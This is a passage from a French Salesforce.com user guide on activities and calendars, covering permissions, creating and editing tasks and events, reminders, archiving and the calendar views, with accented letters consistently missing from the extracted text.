Disposer au moins d'un accs en lecture l'enregistrement,

si vous associez l'activit un autre enregistrement

Disposer des autorisations Modifier les tches et

Modifier les vnements

AND

Supprimer une activit

tre attribu l'activit ou

tre au-dessus de l'utilisateur attribu l'activit dans la
hirarchie des rles ou
Disposer de l'autorisation au niveau de l'objet Modifier
tout dans l'enregistrement associ, dans lequel le modle
de partage de cet enregistrement est Contrl par parent
ou
Disposer de l'autorisation Modifier toutes les donnes
Disposer des autorisations Modifier les tches et
Modifier les vnements

ET

Afficher, ajouter et modifier des vnements dans les

calendriers des autres utilisateurs

tre attribu l'activit ou

tre au-dessus de l'utilisateur attribu l'activit dans la
hirarchie des rles ou
Disposer de l'autorisation au niveau de l'objet Modifier
tout dans l'enregistrement associ, dans lequel le modle
de partage de cet enregistrement est Contrl par parent
ou
Disposer de l'autorisation Modifier toutes les donnes
Disposer des autorisations Modifier les tches et
Modifier les vnements pour crer et modifier des
activits

AND

Avoir accs au calendrier de l'utilisateur, en fonction des

paramtres de partage par dfaut des calendriers en vigueur
l'intrieur de l'entreprise et de la manire dont l'utilisateur
a paramtr le partage de chaque calendrier.
Reportez-vous Dfinition du modle de partage la
page 163 et Partage de votre calendrier la page 35.

Activits

Guide de l'utilisateur | Affichage des activits | 1078

Pour ce faire :

Vous devez :
Remarque: Les vnements marqus comme privs
via la case Priv sont accessibles uniquement par
l'utilisateur attribu l'vnement. Les autres
utilisateurs ne peuvent pas afficher les dtails de
l'vnement lorsqu'ils consultent le calendrier de cet
utilisateur. Cependant, les utilisateurs autoriss
afficher ou modifier toutes les donnes peuvent
afficher les dtails de l'vnement priv des rapports
et des recherches, ou lors de la consultation des
calendriers des autres utilisateurs.

Conseil: L'utilisateur attribu une activit dans le champ Attribu est souvent appel le responsable de
l'activit .

Voir aussi :
Affichage des activits
Modification des activits

Affichage des activits

Disponible avec : Toutes les ditions

Les activits comprennent des tches et des vnements du calendrier. Les activits peuvent s'afficher dans les emplacements
suivants :
Onglet Accueil
De nombreux utilisateurs consultent l'onglet Accueil pour afficher leurs tches et vnements. Pour plus d'informations,
reportez-vous Utilisation de votre calendrier et de vos tches dans la page d'accueil la page 1455.
Ouvrir les listes Activits et liste associe de l'historique des activits
Vous pouvez galement afficher, crer et mettre jour des activits depuis les listes associes Activits en cours et
Historique des activits d'un enregistrement associ. Ces listes associs affichent toutes les activits associes
l'enregistrement, notamment celles qui sont attribues d'autres utilisateurs. Pour plus d'informations, voir Utilisation
de la list associe des activits en cours la page 1082 et Utilisation de la liste a ssocie de l'historique des activits la
page 1083.
Vues de liste d'activits
Pour afficher une liste d'activits dont vous-mme ou votre quipe tes responsable, cliquez sur l'icne de la vue liste des
activits ( ) sous le calendrier dans la page d'accueil en haut d'une vue du calendrier. Si votre page d'accueil n'affiche
pas de section Calendrier ou Mes tches, contactez votre administrateur pour la personnaliser.

Activits

Guide de l'utilisateur | Affichage des activits | 1079

Pour plus d'informations, reportez-vous Affichage des listes d'activits la page 1079.
Console
Les administrateurs des organisations Professional, Enterprise, Unlimited et Developer Edition peuvent configurer la
console pour inclure des activits. Cliquez sur l'onglet Console pour afficher la console, ce qui vous permettra de trouver,
de consulter et de modifier des activits et leurs enregistrements associs l'cran. Pour plus d'informations, reportez-vous
Affichage de la console la page 1245.
Pour plus de dtails sur l'affichage des activits, reportez-vous :

Affichage de votre agenda

Affichage des dtails d'vnement
Affichage des tches

Voir aussi :
Accessibilit des activits
Cration d'activits
Modification des activits

Affichage des listes d'activits

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les activits dont vous tes responsable et celles Aucune autorisation n'est ncessaire
des utilisateurs infrieurs dans la hirarchie des rles :
Pour afficher toutes les activits :

Afficher toutes les donnes

Pour afficher une liste d'activits dont vous-mme ou votre quipe tes responsable, cliquez sur l'icne de la vue liste des
activits ( ) sous le calendrier dans la page d'accueil en haut d'une vue du calendrier. Si votre page d'accueil n'affiche pas de
section Calendrier ou Mes tches, contactez votre administrateur pour la personnaliser.
Dans la vue de liste d'activits, vous pouvez :

Cliquer sur Nouvelle tche ou Nouvel vnement pour crer une activit. Pour plus d'informations, reportez-vous
Cration d'activits la page 1080.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur une activit pour afficher ses dtails. Lorsque vous visualisez une activit, cliquez sur Retour la liste en haut
de la page de dtails de l'activit pour revenir la dernire page de liste affiche.

Les activits archives n'apparaissent pas dans les vues de liste d'activits. Pour plus d'informations sur les activits archives,
reportez-vous Utilisation de la liste associe de l'historique des activits la page 1083.

Activits

Guide de l'utilisateur | Cration d'activits | 1080

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
Pour changer la vue de liste d'activits qui apparat :
1. Cliquez sur l'icne correspondante situe sous le calendrier sur la page d'accueil.
2. Slectionnez le nom de la vue dans la liste droulante.
Les vues de liste suivantes sont fournies par Salesforce.com :

Toutes les activits : contient les activits que vous pouvez afficher. Dans Personal Edition, la vue de liste Toutes les
activits affiche l'ensemble de vos activits.
Mes activits : contient les activits dont vous tes responsable.
Mes activits dlgues : contient les activits que vous avez cres mais dont vous n'tes pas responsable.
Les activits de mon quipe : contient les activits dont sont responsables des utilisateurs rattachs vous dans la
hirarchie des rles.
Si vous le souhaitez, les activits de votre quipe peuvent tre converties en heures de votre fuseau horaire.

Pour crer une liste d'activits :

1. Cliquez sur l'icne correspondante situe sous le calendrier sur l'onglet Accueil.
2. Cliquez sur Crer une nouvelle vue. Pour plus d'informations, reportez-vous Cration de vues Listes personnalises
la page 1538.

Voir aussi :
Affichage des activits
Utilisation de votre calendrier et de vos tches sur la page d'accueil
Affichage de votre agenda
Accessibilit des activits
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Cration d'activits
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des tches :

Modifier les tches

Pour crer des vnements :

Modifier les vnements

Vous pouvez crer de nouveaux enregistrements d'activit (tches et vnements) partir des emplacements suivants :

Activits

Guide de l'utilisateur | Cration d'activits | 1081

Dans la barre latrale

Dans la barre latrale, slectionnez Tche ou vnement dans la liste droulante Crer une nouvelle.
Dans la page d'accueil
Dans l'onglet Accueil , cliquez sur Nouveau dans la section Mes tches ou sur Nouvel vnement dans la section
Calendrier.
Dans la page des dtails d'un enregistrement associ
Dans la page des dtails d'un enregistrement associ, cliquez sur Nouvelle tch ou Nouvel vnement dans la liste
associe Activits en cours. De plus, vous pouvez cliquer sur Consigner un appel dans la liste associe Historique des
activits pour ajouter un nouvel enregistrement de tche avec l'tat termin.
Dans une vue du calendrier
Dans une vue du calendrier, cliquez sur Nouvel vnement pour ajouter un nouvel vnement. De plus :

Dans les vues journalires, vous pouvez cliquer sur Nouvelle dans la section Mes tches pour ajouter une nouvelle
tche.
Dans les vues journalires, vous pouvez cliquer sur une heure, par exemple 9:00 AM pour ajouter un vnement
cette heure.
Dans les vues quotidiennes et hebdomadaires, vous pouvez double-cliquer sur une priode pour crer un vnement.
Votre administrateur contrle la disponibilit de cette fonctionnalit. Notez que les vnements rcurrents et les
vnements de groupe ne sont pas pris en charge pour les vnements cliquer-et-crer dans les vues du calendrier.
Dans les vues hebdomaraire et mensuelle, vous pouvez cliquer sur l'icne Ajouter un vnement ( ) pour ajouter un
vnement une date particulire.

Dans une vue de liste d'activits

Dans une vue de liste d'activits, cliquez sur Nouvelle tche ou Nouvel vnement pour crer une activit. Pour afficher
une vue de liste d'activits, cliquez sur l'icne de la vue liste d'activits (
ou en haut d'une vue du calendrier.

) sous le calendrier dans l'onglet Page d'accueil

Dans les vues de liste compte, contact et piste

Dans les vues de liste de comptes, de contacts et de pistes, cliquez sur le lien Ouvrir le calendrier en bas de la page
pour afficher une vue hebdomadaire du calendrier sous la liste. Ensuite, vous pouvez faire glisser un enregistrement de
la liste vers une priode dans le calendrier pour crer rapidement un vnement associ l'enregistrement. Notez que
votre administrateur contrle la disponibilit de cette fonctionnalit. Pour plus d'informations, reportez-vous Utilisation
de la planification par glisser-dplacer la page 1103.
Remarque: Dans Enterprise Edition, Unlimited Edition et Developer Edition, l'administrateur dfinit les types
d'enregistrement que vous pouvez slectionner lorsque vous crez une activit. Les types d'enregistrement dterminent
les valeurs de la liste de slection et des prsentations de page qui sont disponibles lors de la cration et de la modification
d'un enregistrement.

Voir aussi :
Cration de tches
Cration d'vnements
Affichage des activits
Modification des activits

Activits

Guide de l'utilisateur | Modification des activits | 1082

Modification des activits

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les tches :

Modifier les tches

Pour modifier les vnements :

Modifier les vnements

Consultez les lments suivants pour plus de dtails sur la modification des activits :

Modification des tches

Modification des vnements
-

Modification des vnements de groupe

Modification des vnements rcurrents
Modification d'un vnement dans un calendrier de ressources ou un calendrier public

Voir aussi :
Affichage des activits
Cration d'activits

Utilisation de la liste associe des activits en cours

Disponible avec : Toutes les ditions

La liste associe Activits en cours affiche toutes les tches et tous les vnements en cours d'un enregistrement et des
enregistrements qui lui sont associs. Par exemple, si vous avez une tche associe un contact, cette tche s'affiche dans la
liste associe Activits en cours du contact et dans celle du compte associ.

Cliquez sur Nouvelle tche ou sur Nouvel vnement pour crer une activit associe l'enregistrement.
Cliquez sur Modifier pour modifier une activit.
Cliquez sur Fermer pour fermer une tche.
Cliquez sur Suppr pour supprimer un vnement.
Cliquez sur le sujet d'une activit pour ouvrir la page des dtails de l'activit.

Votre administrateur peut personnaliser les champs et les boutons qui s'affichent dans les listes associes ; voir Personnalisation
des prsentations de page la page 546.

Activits

Guide de l'utilisateur | Utilisation de la liste associe de l'historique des activits | 1083

Remarque: Pour les enregistrements de compte personnel, la liste associe rpertorie les activits dont le champ Nom
ou Associ indique le compte personnel. Selon le cas, la colonne Nom ou Associ de la liste associe indique
le nom de la personne. Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048

Voir aussi :
Utilisation de la liste associe de l'historique des activits
Affichage des activits

Utilisation de la liste associe de l'historique des activits

Disponible avec : Toutes les ditions

La liste associe Historique des activits d'un enregistrement affiche toutes les tches termines, les appels tlphoniques
consigns, les vnements chus, les e-mails sortants, les envois de messages en masse, les e-mails ajouts partir de Microsoft
Outlook et les documents publiposts pour l'enregistrement et les enregistrements associs.
Dans la liste associe Historique des activits, cliquez sur :

Consigner un appel pour entrer le rsultat d'un appel non prvu et planifier une tche de suivi. Cette fonction, associe
l'utilisation des tches et des vnements planifis, permet de suivre toutes les activits relatives un enregistrement.
Publipostage pour gnrer des documents personnaliss l'aide de vos donnes et des modles Microsoft Word fournis
par votre administrateur. Si tel est votre souhait, le document de publipostage apparat dans la liste associe Historique des
activits de l'enregistrement associ. Ce bouton n'est pas disponible pour tous les types d'enregistrement. Pour plus
d'informations, reportez-vous Envoi de documents de publipostage la page 1550.
Envoyer un e-mail pour envoyer un message un contact ou une piste, et les associer au compte, l'opportunit, la
requte ou l'objet personnalis affichs. Le message envoy est automatiquement rpertori dans la liste associe Historique
des activits du contact ou de la piste. Si l'objet dpasse 100 caractres, il est tronqu avec des ellipses (...).Le cas chant,
il s'affiche galement au niveau de l'enregistrement associ au message, comme l'opportunit ou la requte. Ce bouton n'est
pas disponible pour tous les types d'enregistrement.
Composer un e-mail dans Gmail pour envoyer un e-mail un contact ou une piste depuis votre compte Gmail. Le message
envoy est automatiquement rpertori dans la liste associe Historique des activits du contact ou de la piste. Le bouton
n'est disponible que si la fonction Boutons et liens Gmail est active. Si la fonction Gmail Salesforce.com est galement
active, l'e-mail envoy est automatiquement rpertori dans la liste associe l'historique des activits du contact ou de
la piste. Pour plus d'informations, reportez-vous Utilisation de Gmail dans Salesforce.com la page 1852.
Demander la mise jour pour envoyer au contact slectionn un message de mise jour des contacts. Cet e-mail vous
permet d'entrer une note demandant au contact de mettre jour les informations de contact dont vous disposez et de vous
faire parvenir les informations correspondantes. Ds rception de la rponse associe, vous pourrez mettre jour votre
enregistrement de contact. Ces courriers lectroniques ainsi que les e-mails Rester en contact envoys en masse seront
rpertoris dans la liste associe Historique des activits.
Afficher tout pour afficher une vue imprimable de toutes les activits termines.
Le bouton Afficher tout n'apparat que lorsqu'il y a des enregistrements afficher.

Le sujet d'une activit pour afficher ses dtails.

Activits

Guide de l'utilisateur | Dfinition de rappels pour les activits | 1084

Si l'entreprise a ajout la liste associe Activits de requte la prsentation de page d'affichage des requtes dans le portail
libre-service et que vous avez activ l'affichage de la scurit au niveau du champ des activits en cochant la case Visible
dans le portail libre-service, cliquez sur l'une des options suivantes :

Partager pour afficher l'activit termine de la liste des activits associe au cas dans le portail libre-service.
Ne pas partager pour masquer l'activit termine de la liste des activits associe au cas dans le portail libre-service.

Votre administrateur peut personnaliser les champs et les boutons qui s'affichent dans les listes associes ; voir Personnalisation
des prsentations de page la page 546.
Remarque: Pour les enregistrements de compte personnel, la liste associe rpertorie les activits dont le champ Nom
ou Associ indique le compte personnel. Selon le cas, la colonne Nom ou Associ de la liste associe indique
le nom de la personne. Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048

Voir aussi :
Utilisation de la liste associe des activits en cours
A propos des activits archives
Affichage des activits
Envoi d'e-mails

Dfinition de rappels pour les activits

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les tches :

Modifier les tches

Pour modifier les vnements :

Modifier les vnements

Salesforce.com peut afficher des rappels instantans pour les vnements et tches venir. Les rappels informent le bnficiaire
des activits d'une tche ou d'un vnement venir. Le rappel s'affiche dans une petite fentre de navigation contextuelle
lorsque le bnficiaire des activits est connect Salesforce.com. Lorsqu'un utilisateur se connecte, les rappels qu'il n'a pas
rejets et ceux programms depuis la dernire fois qu'il s'est dconnect apparaissent dans la fentre de rappel.
Lorsque vous crez ou modifiez un vnement ou une tche, vous pouvez y adjoindre un rappel. Le rappel applique par dfaut
l'heure spcifie dans vos paramtres de rappel.
Pour dfinir un rappel pour une tche :
1. Crez ou modifiez une tche.
2. Cochez la case Rappel.
3. Choisissez la date et l'heure du rappel. Vous recevrez un rappel pour la tche au jour et l'heure indiqus.
Si vous configurez le rappel pour une srie de tches rcurrentes, il s'applique chaque occurrence de la srie.
4. Cliquez sur Enregistrer.

Activits

Guide de l'utilisateur | A propos des activits archives | 1085

Pour dfinir un rappel pour un vnement :

1.
2.
3.
4.

Crez ou modifiez un vnement.

Cochez la case Rappel.
Choisissez le laps de temps entre le rappel et l'vnement.
Cliquez sur Enregistrer.

Voir aussi :
Personnalisation des rappels d'activit
Affichage des activits
Modification des activits

A propos des activits archives

Disponible avec : Toutes les ditions

Salesforce.com archive les activits les plus anciennes selon les conditions ci-dessous :

vnements dont la date d'chance est suprieure 365 jours

Tches closes dont la date d'chance est suprieure 365 jours
Tches closes sans date d'chance cres il y a plus de 365 jours

Vous pouvez consulter les activits archives uniquement dans des fichiers d'exportation, la vue imprimable ou en cliquant sur
Afficher tout dans la liste associe Historique des activits.
Les administrateurs ont la possibilit de supprimer des activits archives au moyen de la fonction de suppression en masse.
Les tches archives n'apparaissent pas dans les rapports. Cependant, vous pouvez faire un rapport sur des tches en cours ou
termines.

Voir aussi :
Utilisation de la liste associe de l'historique des activits

Affichage de votre agenda

Disponible avec : Toutes les ditions

Accs votre calendrier

Vous pouvez accder votre calendrier partir des emplacements suivants :

L'onglet Accueil
Pour plus d'informations, reportez-vous Utilisation de votre calendrier et des tches de la page d'accueil la page 1455.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1086

Le raccourci Calendrier du menu latral qui ouvre la vue du dernier calendrier utilis
Votre administrateur Salesforce.com doit activer ce raccourci. Pour plus d'informations, reportez-vous Personnalisation
des paramtres d'activit la page 677.

La page des dtails d'un vnement ou d'une tche, qui comprend les icnes du calendrier.
Une vue de la liste des activits, qui comprend les icnes du calendrier

Utilisation des icnes du calendrier

Cliquez sur les icnes suivantes pour naviguer dans votre calendrier :
lment

Description
Icne Vue journalire. Voir Utilisation de la vue journalire
du calendrier la page 1087.
Icne Vue hebdomadaire. Voir Utilisation de la vue
hebdomadaire du calendrier la page 1089.
Icne Vue mensuelle. Voir Utilisation de la vue mensuelle du
calendrier la page 1089.
Icne Vue mono-utilisateur Affiche le calendrier d'un
utilisateur, un calendrier public ou un calendrier de ressources.
Icne Vue multi-utilisateur Affiche le calendrier de plusieurs
utilisateurs. Voir Utilisation de la vue du calendrier
multi-utilisateur la page 1092.
Vue de liste d'activits. Voir Affichage des listes d'activits
la page 1079.
Flche Prcdent. Cliquez pour modifier la vue et revenir la
journe, la semaine ou au mois prcdent, selon le cas.
Flche suivant. Cliquez pour modifier la vue et accder la
journe, la semaine ou au mois suivant, selon le cas.
Choisissez une icne de date. Cliquez pour ouvrir une bote
de dialogue contextuelle dans laquelle vous pourrez choisir
une date spcifique.

Remarque:

Les vnements et les tches qui appartiennent une srie rcurrente sont marqus d'une icne de rcurrence ( )

L'icne d'vnement de groupe ( ) identifie les vnements de groupe. Les vnements de groupe ne sont pas
disponibles dans Personal Edition.

Utilisation des vues du calendrier

Reportez-vous aux rubriques suivantes pour plus d'informations sur l'utilisation des diffrentes vues du calendrier :

Utilisation de la vue journalire du calendrier

Utilisation de la vue hebdomadaire du calendrier
Utilisation de la vue mensuelle du calendrier
Voir Utilisation de la vue du calendrier multi-utilisateur.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1087

Conseils relatifs l'utilisation des vues de calendrier

Tenez compte des informations suivantes lors de l'utilisation des vues de calendrier :

Replanifier un rendez-vous en faisant glisser un lment de votre calendrier vers une heure diffrente. Pour obtenir les
meilleurs rsultats, placez le curseur de la souris sur la ligne d'objet de l'vnement avant de le faire glisser. Si l'lment est
un vnement rcurrent ( ), seule l'occurrence unique que vous faites glisser est modifie, pas la totalit de la srie.
Remarque : votre administrateur contrle l'accs la fonction de modification du calendrier par glisser-dposer,
consultezActiver la modification par glisser-dposer sur les vues de calendrier.
Crez un rendez-vous en cliquant deux fois sur une priode et en entrant les informations dans un plan interactif. Notez
que votre administrateur contrle la disponibilit des vnements de cration d'vnements en cliquant. Voir Activer Cliquer
pour crer des vnements dans les vues de calendrier la page 364.
Pour changer la plage d'heures par dfaut de votre calendrier, changez les champs de dbut de journe et de fin de
journe de votre page d'informations personnelles. Par exemple, si votre journe de travail commence 8h00 et se termine
18h00 et que vous remplacez le dbut de journe par 8h00 et la fin de journe par 18h00, les vues de calendrier
hebdomadaires et quotidiennes utilisent par dfaut cette plage d'heures.

Voir aussi :
Affichage des dtails d'vnement
Cration d'vnements
Modification des vnements

Utilisation de la vue journalire du calendrier

Disponible avec : Toutes les ditions

Un clic sur l'icne Vue journalire (

) ouvre la vue journalire du calendrier.

Dans la vue journalire mono-utilisateur, vous pouvez :

Afficher les vnements planifis pour la journe spcifie.

Afficher une liste des tches. Vous pouvez modifier les tches qui s'affichent dans la liste droulante.
Survolez l'objet d'un vnement pour afficher les dtails de cet vnement dans un plan.
Survolez l'objet d'une tche pour afficher les dtails de cette dernire dans une fentre superpose.
Remarque: Les fentres superposes comprenant les dtails d'un vnement ou d'une tche sont des fentres
contextuelles qui s'ouvrent au survol et dvoilent les informations sur l'vnement ou la tche, vous permettant
galement de modifier ou supprimer rapidement l'vnement ou la tche en question.
Les informations contenues dans ces fentres superposes sont configures par votre administrateur. Pour en savoir
plus sur la configuration des fntres superposes de donnes concernant un vnement ou une tche, reportez-vous
Dfinition des prsentations de page miniatures la page 1242.

Cliquez sur une heure, par exemple 9:00 AM pour ajouter un vnement cette heure. Vous pouvez galement cliquer
deux fois sur une priode pour entrer les informations de l'vnement dans un plan interactif. Notez que votre administrateur
contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour crer des vnements dans les vues de
calendrier la page 364.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1088

Replanifier un rendez-vous en faisant glisser un lment sur votre calendrier une heure diffrente. Pour obtenir les
meilleurs rsultats, placez le curseur de la souris sur la ligne d'objet de l'vnement avant de le faire glisser. Si l'lment est
un vnement rcurrent ( ), seule l'occurrence unique que vous faites glisser est modifie, pas la totalit de la srie.
Remarque : votre administrateur contrle l'accs la fonction de modification du calendrier par glisser-dposer,
consultezActiver la modification par glisser-dposer sur les vues de calendrier la page 364.
La fonction de modification par glisser-dposer n'est pas active pour les vnements se droulant sur plusieurs journes.

Naviguez dans le calendrier l'aide des icnes du calendrier.

Cliquez sur Aujourd'hui pour afficher la vue journalire de ce jour.
Cliquez sur [Modifier] pour faire basculer le calendrier sur un autre utilisateur, un calendrier public ou un calendrier de
resources ; voir Consultation d'autres calendriers la page 1090.
Cliquez sur [Partager mon calendrier] pour dfinir le partage de votre calendrier personnel ; voir Octroyer l'accs votre
calendrier la page 35.
Cliquez sur Vue imprimable pour afficher la vue du calendrier actuel dans un format imprimable ; voir Impression de
votre calendrier la page 1091.

Dans la vue journalire multi-utilisateurs, vous pouvez consulter les vnements de plusieurs utilisateurs pour la journe spcifie.
Pour plus d'informations, reportez-vous Utilisation de la vue du calendrier multi-utilisateur la page 1092.
Remarque: Un vnement couvrant plus d'une journe (par exemple, une runion avec un client durant de 22 h le
vendredi 2 h le samedi) s'affiche toujours les deux jours dans les vues du calendrier.

Voir aussi :
Utilisation de la vue hebdomadaire du calendrier
Utilisation de la vue mensuelle du calendrier
Affichage de votre agenda
Affichage des dtails d'vnement
Cration d'vnements
Modification des vnements

Utilisation de la vue hebdomadaire du calendrier

Disponible avec : Toutes les ditions

Un clic sur l'icne Vue hebdomadaire ( (

) ouvre la vue hebdomadaire du calendrier.

Dans la vue hebdomadaire mono-utilisateur, vous pouvez :

Afficher les vnements planifis pour la semaine spcifie.

Survolez l'objet d'un vnement pour afficher les dtails de cet vnement dans un plan.
Cliquez sur l'icne Ajouter un vnement ( ) pour ajouter un vnement le jour appropri. Vous pouvez galement cliquer
deux fois sur une priode pour entrer les informations de l'vnement dans un plan interactif. Notez que votre administrateur
contrle l'accs la cration d'vnements en cliquant. Voir Activer Cliquer pour crer des vnements dans les vues de
calendrier la page 364.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1089

Cliquez sur la date - par exemple, 26 pour le 26 mars, pour dtailler la vue journalire pour cette journe.
Replanifier un rendez-vous en faisant glisser un lment sur votre calendrier une heure diffrente. Pour obtenir les
meilleurs rsultats, placez le curseur de la souris sur la ligne d'objet de l'vnement avant de le faire glisser. Si l'lment est
un vnement rcurrent ( ), seule l'occurrence unique que vous faites glisser est modifie, pas la totalit de la srie.
Remarque : votre administrateur contrle l'accs la fonction de modification du calendrier par glisser-dposer,
consultezActiver la modification par glisser-dposer sur les vues de calendrier la page 364.
La modification par glisser-dplacer n'est pas disponible pour les vnements rpartis sur plusieurs jours.

Naviguez dans le calendrier l'aide des icnes du calendrier.

Cliquez sur Cette semaine pour afficher la vue hebdomadaire de la semaine en cours.
Cliquez sur [Modifier] pour faire basculer le calendrier sur un autre utilisateur, un calendrier public ou un calendrier de
resources ; voir Consultation d'autres calendriers la page 1090.
Cliquez sur [Partager mon calendrier] pour dfinir le partage de votre calendrier personnel ; voir Octroyer l'accs votre
calendrier la page 35.
Cliquez sur Vue imprimable pour afficher la vue du calendrier actuel dans un format imprimable ; voir Impression de
votre calendrier la page 1091.
Slectionnez Afficher les week-ends pour afficher les samedis et dimanches.
Conseil: Dans les vues de liste de comptes, de contacts et de pistes, cliquez sur le lien Ouvrir le calendrier en bas
de la page pour afficher une vue hebdomadaire du calendrier sous la liste. Ensuite, vous pouvez faire glisser un
enregistrement de la liste vers une priode dans le calendrier pour crer rapidement un vnement associ
l'enregistrement. Notez que votre administrateur contrle la disponibilit de cette fonctionnalit. Pour plus
d'informations, reportez-vous Utilisation de la planification par glisser-dplacer la page 1103.

Dans la vue hebdomadaire multi-utilisateurs, vous pouvez consulter les vnements de plusieurs utilisateurs pour la semaine
spcifie. Pour plus d'informations, reportez-vous Utilisation de la vue du calendrier multi-utilisateur la page 1092.
Remarque: Un vnement couvrant plus d'une journe (par exemple, une runion avec un client durant de 22 h le
vendredi 2 h le samedi) s'affiche toujours les deux jours dans les vues du calendrier.

Voir aussi :
Utilisation de la vue journalire du calendrier
Utilisation de la vue mensuelle du calendrier
Affichage de votre agenda
Affichage des dtails d'vnement
Cration d'vnements
Modification des vnements

Utilisation de la vue mensuelle du calendrier

Disponible avec : Toutes les ditions

Un clic sur l'icne Vue mensuelle ( (

) ouvre la vue mensuelle du calendrier.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1090

Dans la vue mensuelle mono-utilisateur, vous pouvez :

Afficher les vnements planifis pour le mois spcifi.

Survolez l'objet d'un vnement pour afficher les dtails de cet vnement dans un plan.
Cliquez sur l'icne Ajouter un vnement ( ) pour ajouter un vnement le jour appropri.
Cliquez sur la date - par exemple, 26 pour le 26 mars, pour dtailler la vue journalire pour cette journe.
Cliquez sur le lien semaine appropri pour dtailler la vue de cette semaine.
Naviguez dans le calendrier l'aide des icnes du calendrier.
Cliquez sur Ce mois-ci pour afficher la vue mensuelle du mois en cours.
Cliquez sur [Modifier] pour faire basculer le calendrier sur un autre utilisateur, un calendrier public ou un calendrier de
resources ; voir Consultation d'autres calendriers la page 1090.
Cliquez sur [Partager mon calendrier] pour dfinir le partage de votre calendrier personnel ; voir Octroyer l'accs votre
calendrier la page 35.
Cliquez sur Vue imprimable pour afficher la vue du calendrier actuel dans un format imprimable ; voir Impression de
votre calendrier la page 1091.

Dans la vue mensuelle multi-utilisateurs, vous pouvez consulter les vnements de plusieurs utilisateurs pour le mois spcifi.
Pour plus d'informations, reportez-vous Utilisation de la vue du calendrier multi-utilisateur la page 1092.
Remarque: Un vnement couvrant plus d'une journe (par exemple, une runion avec un client durant de 22 h le
vendredi 2 h le samedi) s'affiche toujours les deux jours dans les vues du calendrier.

Voir aussi :
Utilisation de la vue journalire du calendrier
Affichage de votre agenda
Utilisation de la vue hebdomadaire du calendrier
Affichage des dtails d'vnement
Cration d'vnements
Modification des vnements

Affichage d'autres calendriers

Disponible avec : Toutes les ditions

Dans une vue de calendrier mono-utilisateur, vous pouvez basculer vers le calendrier d'un autre utilisateur, un calendrier public
ou un calendrier de ressources.
1. Cliquez sur [Modifier] pour ouvrir la fentre de recherche du calendrier.
2. Au besoin, recherchez le calendrier de votre choix :
a. Choisissez Calendriers utilisateur ou Calendriers et ressources publics dans la liste droulante.
b. Dans le champ Recherche, entrez tout ou une partie du nom de l'utilisateur concern, du calendrier public ou de la
ressource.
c. Cliquez sur OK.

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1091

3. Cliquez sur le nom appropri pour basculer vers ce calendrier.

Remarque: Lorsque vous visualisez un calendrier de ressources, vous ne pouvez pas ajouter de nouvel lment. La
seule manire d'ajouter un vnement un calendrier de ressources consiste inviter la ressource un vnement.
Pour afficher nouveau votre propre calendrier, cliquez sur Retour mon calendrier (option non disponible dans Personal
Edition).

Voir aussi :
Octroi de l'accs votre calendrier
Cration d'un vnement dans un calendrier de ressources ou un calendrier public
Affichage de votre agenda

Partage de votre calendrier

Disponible avec : Toutes les ditions

partir de la vue journalire, hebdomadaire ou mensuelle de votre calendrier, cliquez sur Partager mon calendrier pour
modifier les conditions de consultation de votre calendrier. Pour plus d'informations, reportez-vous Octroi d'accs votre
calendrier la page 35.
Remarque: Que les paramtres de partage de votre entreprise soient par le biais des hirarchies ou non, les activits
associes un enregistrement sont toujours visibles aux utilisateurs au dessus de l'utilisateur affect de l'activit dans
la hirarchie des rles.

Voir aussi :
Affichage de votre agenda
Affichage d'autres calendriers

Impression de votre calendrier

Disponible dans : Toutes les ditions

Pour imprimer votre calendrier, cliquez sur Vue imprimable dans l'une des vues du calendrier.
Dans une vue imprimable, vous pouvez :

Cliquer sur Imprimer cette page pour envoyer la vue imprimable une imprimante.
Cliquer sur la flche Suivant ( ) et sur la flche Prcdent ( ) pour modifier la ou les date(s) affiche(s).
Cliquer sur Aujourd'hui, Cette semaine ou Ce mois-ci selon la vue pour afficher la ou les dates courante(s).

De plus :

Activits

Guide de l'utilisateur | Affichage de votre agenda | 1092

Dans les vues journalires et hebdomadaires, vous pouvez afficher une liste de tches qui peuvent tre personnalises en
slectionnant un option dans la liste droulante.
Dans les vues multi-utilisateurs, vous pouvez slectionner une option dans la liste droulante Trier par pour personnaliser
l'affichage. Slectionnez Temporel pour inclure les vnements de tous les utilisateurs dans un mme calendrier, ou
slectionnez Utilisateur pour afficher un calendrier spar pour chaque utilisateur.

Voir aussi :
Affichage de votre agenda

Utilisation des vues du calendrier multi-utilisateur

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Pour afficher les calendriers de plusieurs utilisateurs dans la mme page, cliquez sur l'icne Vue multi-utilisateur (

).

Dans le calendrier multi-utilisateur, vous pouvez :

Slectionner les calendriers qui s'affichent en slectionnant, en modifiant et en crant des vues des listes d'utilisateurs. Pour
afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer une
nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Voir la disponibilit de chaque utilisateur. Consultez la lgende de la page pour voir quelle couleur correspond Occup
ou Hors du bureau. Si plusieurs vnements sont planifis une heure particulire pour un utilisateur, tous ces vnements
s'affichent dans le calendrier. Notez que les vnements marqus comme Libres dans le champ Afficher l'heure
comme, des dtails de leur vnement ne s'affichent pas dans la vue du calendrier multi-utilisateur.
Survolez une barre de couleur pour afficher plus de dtails sur un vnement.
Crez un vnement et invitez plusieurs utilisateurs. Cochez la case en regard des personnes inviter, puis cliquez sur
